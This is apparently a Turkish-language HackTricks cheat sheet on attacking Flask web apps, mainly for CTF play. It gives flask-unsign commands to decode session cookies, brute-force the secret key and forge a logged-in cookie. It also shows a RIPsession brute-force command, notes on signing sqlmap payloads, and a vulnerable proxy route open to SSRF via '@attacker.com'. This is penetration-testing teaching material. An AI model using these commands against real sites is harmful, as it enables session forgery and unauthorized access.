Flask
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması SSTI** ile ilgili olacaktır.**
Çerezler
Varsayılan çerez oturum adı session
.
Decoder
Çevrimiçi Flask çerezleri decoder: https://www.kirsle.net/wizards/flask-session.cgi
Manuel
Çerezin ilk kısmını ilk noktaya kadar alın ve Base64 ile decode edin.
echo "ImhlbGxvIg" | base64 -d
Cookie ayrıca bir şifre kullanılarak imzalanmıştır.
Flask-Unsign
Bir Flask uygulamasının oturum çerezlerini gizli anahtarları tahmin ederek almak, çözmek, kaba kuvvetle denemek ve oluşturmak için kullanılan komut satırı aracı.
pip3 install flask-unsign
Çerezleri Çöz
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Kaba Güç
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
İmza
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Eski sürümlerle imzalama
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Cookie'leri flask-unsign ile oluşturulmuş sitelere brute-force saldırısı yapmak için komut satırı aracı.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
Flask oturum çerezinde SQLi ve SQLmap
Bu örnek sqlmap eval
seçeneğini kullanarak flask için sqlmap yüklerini otomatik olarak imzalamak için bilinen bir gizli anahtar kullanır.
SSRF için Flask Proxy
Bu yazıda Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır:
GET @/ HTTP/1.1
Host: target.com
Connection: close
Aşağıdaki senaryoda:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Şunu girmeye izin verebilir: "@attacker.com" böylece bir SSRF oluşturulabilir.
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.